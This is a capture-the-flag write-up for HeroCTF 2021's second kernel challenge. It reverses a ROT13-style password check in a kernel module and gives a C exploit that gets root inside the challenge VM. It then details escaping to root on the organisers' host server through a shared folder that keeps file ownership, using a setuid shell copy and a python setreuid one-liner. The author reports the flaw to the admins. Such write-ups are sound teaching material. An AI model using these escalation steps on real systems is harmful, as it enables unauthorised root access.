HeroCTF 2021 - Rooter l'infra, for fun and CTF points

Table of contents :

Category : Kernel

Points : 175

Message from : Mom 23/04/21 22:00

Hey sweetie !

I placed a little gift for you in the living room.
It’s in a box that’s locked though.
The key’s in the safe, and this time I locked it with a password.
Love you ! xoxo

PS : Happax seems to be back to normal.

Connection via ssh -p 4822 kern2@ai.heroctf.fr, mot de passe kern2_tig

Format : Hero{}

Author : iHuggsy

Challenge informations

This Kernel exploit challenge (2nd in the series), uses a virtual machine based on QEMU. To access the challenge, you must connect via SSH to a server (which we will call hostserver in the rest of this writeup), on which we find the challenge files:

[hostserver]$ ls -lah
total 9,9M
drwxrwxr-x 2 kern2  kern2 4,0K mai    2 12:33 .
drwxrwxr-x 3 kern2  kern2 4,0K mai    2 12:37 ..
-rwxrwxr-x 1 kern2  kern2 9,2M mai    2 12:33 bzImage
-rwxrwxr-x 1 kern2  kern2 673K mai    2 12:33 initramfs
-rwsrwxrwx 1 root   root   16K mai    2 12:33 run
-rwxrwxr-x 1 kern2  kern2  667 mai    2 12:33 .run_vm
[hostserver]$

Once we are connected in SSH, we must launch the SUID ./run wrapper, to start and access the challenge VM. When we start it, we get a terminal in the VM:

$ ./run

Welcome to the kernel challenge #1 !
---- Your share : host:/tmp/tmp.3HqGwGi8y5 -> guest:/mnt/share ----
- Use CTRL+Z to put qemu in the background
- Use CTRL+* to exit the VM (shutdown)
- If qemu is in the background, use the 'fg' command to return to the vm


 **      **                           ******  ********** ********
/**     /**                          **////**/////**/// /**/////
/**     /**  *****  ******  ******  **    //     /**    /**      
/********** **///**//**//* **////**/**           /**    /*******
/**//////**/******* /** / /**   /**/**           /**    /**////  
/**     /**/**////  /**   /**   /**//**    **    /**    /**      
/**     /**//******/***   //******  //******     /**    /**      
//      //  ////// ///     //////    //////      //     //       

===============     Locked safe (by @iHuggsy)     ===============
=                      Kernel Challenge #2                      =
=             This time, you have to open the safe !            =
=================================================================

/ $ ls
bin          etc          mnt          root         sbin
dev          flag.txt     proc         safe_mod.ko  sys
/ $

We can recover the safe_mod.ko kernel module thanks to the shared folder between the VM and the host server.

Résolution du challenge Kernel 2

First of all, a little bit of reverse on the safe_mod.ko kernel module is necessary to fully understand what it does. For that, I used IDA which decompiled the module without too much trouble, and I got this device_file_write function:

void device_file_write.cold(void) {
  char cVar1;
  char cVar2;
  long user_input;
  size_t maxlen;
  char * matched_index;
  char * unaff_R12;
  int index;
  long in_GS_OFFSET;

  index = 0;
  user_input = _copy_from_user();
  if (user_input == 0) {
    while (index < strlen(v2)) {
      v4 = (char * ) & user_input[index];
      v5 = *v4;
      if ( *v4 == 0xa || *v4 == 0x0) break;
      if ((unsigned __int8)(v5 - 65) > 0x19u) {
        v12 = v5;
        v13 = v5 + 13;
        v14 = v5 - 13;
        if (v12 + 13 <= 122)
          v14 = v13;
        *v4 = v14;
      } else {
        v6 = v5 + 13;
        v7 = v5 - 13;
        if (v6 <= 90)
          v7 = v6;
        *v4 = v7;
      }
      index += 1;
    }
    matched_index = strstr(user_input, "OpenSesame");
    if (matched_index != (char * ) 0x0) {
      if ( * (long * )( & current_task + in_GS_OFFSET) == 0) {
        printk( & DAT_00100348);
      } else {
        printk( & DAT_00100378, (ulong) * (uint * )( * (long * )( & current_task + in_GS_OFFSET) + 0x4e8));
        user_input = prepare_creds();
        if (user_input == 0) {
          printk( & DAT_001003a8);
        } else {
          *(undefined4 * )(user_input + 0x14) = 0;
          *(undefined4 * )(user_input + 4) = 0;
          *(undefined4 * )(user_input + 0x18) = 0;
          *(undefined4 * )(user_input + 8) = 0;
          commit_creds(user_input);
        }
      }
    }
    kfree();
  }
  return;
}

In this function is a very interesting block, which modifies the password entered by the user, before comparing it to the value OpenSesame:

while (index < strlen(v2)) {
  v4 = (char * ) & user_input[index];
  v5 = *v4;
  if ( *v4 == 0xa || *v4 == 0x0) break;
  if ((unsigned __int8)(v5 - 65) > 0x19u) {
    v12 = v5;
    v13 = v5 + 13;
    v14 = v5 - 13;
    if (v12 + 13 <= 122)
      v14 = v13;
    *v4 = v14;
  } else {
    v6 = v5 + 13;
    v7 = v5 - 13;
    if (v6 <= 90)
      v7 = v6;
    *v4 = v7;
  }
  index += 1;
}
matched_index = strstr(user_input, "OpenSesame");

Since we have pretty consistent decompiled code, it was pretty straightforward to reimplement this function in python:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

def transform(v2):
    v2 = list(v2)
    k = 0
    while k < len(v2):
        letter = v2[k]
        if letter == 0xa:
            break
        if (letter - 65) > 0x19:
            v13 = letter + 13
            v14 = letter - 13
            if (letter + 13) <= 122:
                v2[k] = v13
            else:
                v2[k] = v14
        else:
            v6 = letter + 13
            v7 = letter - 13
            if (letter + 13) <= 90:
                v2[k] = v6
            else:
                v2[k] = v7
        k += 1
    return bytes(v2)

if __name__ == '__main__':
    target = b"OpenSesame"
    inv_input = transform(target)
    if transform(inv_input) == target:
        print("[+] Function is involutive !")
        print("[+] input should be : %s" % inv_input.decode('UTF-8'))

Lucky for us! The function is involutive (i.e. f(f(x)) == x)! This means that we can simply calculate transform(b"OpenSesame") to get the expected input to the function.

[+] Function is involutive !
[+] input should be : BcraFrfnzr

We now know the string to send to the kernel module via /dev/safe to change the UID of our process to 0 (to change the process to root). We will therefore write a C program to open /dev/safe and send the password BcraFrfnzr to the char device /dev/safe:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

// gcc -static exploit.c -o exploit

int main(){
    char ch;
    FILE * fd;
    fd = fopen("/dev/safe","rw+");
    if(fd == NULL) {
        fprintf(stdout, "fopen('/dev/safe') failed: %s\n", strerror(errno));
    }
    fputs("BcraFrfnzr\n",fd);
    while((ch = fgetc(fd)) != EOF) printf("%c", ch);
    fclose(fd);
    printf("[+] Openning shell ...\n");
    system("/bin/sh");
}

We put this file in the /tmp/tmp.3HqGwGi8y5 folder on the server hosting the VM, and we compile it with gcc -static exploit.c -o exploit:

[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 84K
drwxrwxrwx   2 kern2  kern2  4,0K mai    6 21:49 .
drwxrwxrwt 173 root   root    76K mai    6 21:49 ..
[hostserver]:/tmp/tmp.3HqGwGi8y5$ nano exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$ gcc -static exploit.c -o exploit
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 952K
drwxrwxrwx   2 kern2  kern2  4,0K mai    6 21:50 .
drwxrwxrwt 173 root   root    76K mai    6 21:50 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 21:50 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 21:50 exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$

Then we go back to our VM, and we go to /mnt/share to access our shared directory:

 **      **                           ******  ********** ********
/**     /**                          **////**/////**/// /**/////
/**     /**  *****  ******  ******  **    //     /**    /**      
/********** **///**//**//* **////**/**           /**    /*******
/**//////**/******* /** / /**   /**/**           /**    /**////  
/**     /**/**////  /**   /**   /**//**    **    /**    /**      
/**     /**//******/***   //******  //******     /**    /**      
//      //  ////// ///     //////    //////      //     //       

===============     Locked safe (by @iHuggsy)     ===============
=                      Kernel Challenge #2                      =
=             This time, you have to open the safe !            =
=================================================================

/ $ cd /mnt/share
/mnt/share $ ls -lha
total 872K   
drwxrwxrwx    2 user     1000        4.0K May  6 19:50 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 1002     1002      861.4K May  6 19:50 exploit
-rw-rw-r--    1 1002     1002         463 May  6 19:50 exploit.c
/mnt/share $

We launch the exploit and we become root :

/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ./exploit
The safe is locked. Enter the password first.
[+] Openning shell ...
/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # cat /flag.txt
Hero{y0u_c4n_4ls0_Wr1t3_?!!}
/mnt/share #

And we can validate the challenge with the flag Hero{y0u_c4n_4ls0_Wr1t3_?!!}! But … is that all we can do?

Privilege escalation on the host server

When I finished this kernel challenge (and became root in the challenge’s VM), I was about to move on to another challenge when I noticed something very interesting inside the challenge VM:

/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ls -lha
total 872K   
drwxrwxrwx    2 user     1000        4.0K May  6 19:50 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 1002     1002      861.4K May  6 19:50 exploit
-rw-rw-r--    1 1002     1002         463 May  6 19:50 exploit.c
/mnt/share $

Do you see it too? Take a look at which user the exploit files belong to. The user 1002, but there is no user with this id in the VM, so what’s going on?

In the configuration we are in, a folder is shared between the challenge VM and the host server. This folder allows players to deposit their exploits in a folder on the host server to easily transfer them to the challenge VM. It’s very useful for the challenge, but very dangerous as is. The fact that the user id 1002 appears in the challenge VM lets us think that the properties of the files (owners, groups, suid …) are kept through the shared folder. This means that if we change these properties in one of the two folders (/mnt/share on the challenge VM or /tmp/tmp.3HqGwGi8y5 on the host server), they will be changed in both. For example, from the /tmp/tmp.3HqGwGi8y5 folder on the host server, we will copy the /bin/sh binary to put it in the share. It therefore belongs to our current user on the host server, the user kern2.

[hostserver]:/tmp/tmp.3HqGwGi8y5$ cp /bin/sh .
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 1,1M
drwxrwxrwx   2 root   root   4,0K mai    6 22:09 .
drwxrwxrwt 173 root   root    76K mai    6 22:09 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 22:09 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 22:09 exploit.c
-rwxr-xr-x   1 kern2  kern2  127K mai    6 22:09 sh
[hostserver]:/tmp/tmp.3HqGwGi8y5$

In the /mnt/share folder on the challenge VM, we will change the owner of the sh file we just created to give it to root (id = 0), and we will also place all the SUID bits at 1:

/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # ls -lha
total 1000K  
drwxrwxrwx    2 0        0           4.0K May  6 20:09 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 user     1000      861.4K May  6 20:09 exploit
-rw-rw-r--    1 user     1000         463 May  6 20:09 exploit.c
-rwxr-xr-x    1 user     1000      126.8K May  6 20:09 sh
/mnt/share # chown 0:0 ./sh && chmod 7777 ./sh
/mnt/share # ls -lha
total 1000K  
drwxrwxrwx    2 0        0           4.0K May  6 20:09 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 user     1000      861.4K May  6 20:09 exploit
-rw-rw-r--    1 user     1000         463 May  6 20:09 exploit.c
-rwsrwsrwt    1 0        0         126.8K May  6 20:09 sh
/mnt/share #

Now that everything is ready, we go back to our shared folder /tmp/tmp.3HqGwGi8y5 on the host server, and we launch our SUID shell:

[hostserver]:/tmp/tmp.uq8fcKEQPW$ ls -lha
total 1,1M
drwxrwxrwx   2 root   root   4,0K mai    6 22:09 .
drwxrwxrwt 173 root   root    76K mai    6 22:09 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 22:09 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 22:09 exploit.c
-rwsrwsrwt   1 root   root   127K mai    6 22:09 sh
[hostserver]:/tmp/tmp.uq8fcKEQPW$ ./sh -p
$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$

The rights are well passed, as we can see I have a shell with euid=0(root) egid=0(root). To perform more advanced actions without being limited, it is interesting to have a real shell with uid=0(root). To do this, we can use python to switch from a euid to a uid, thanks to this payload:

python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'

I ran this payload, and then got a real root shell:

$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$ python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'
# id
uid=0(root) gid=0(root) groups=0(root)

I am now root on the HeroCTF kernel challenges host server!

Final POC

And this time, I’m the one who set the flag \o/, as a bonus I got 50 bonus points for reporting this vulnerability to admins:

Award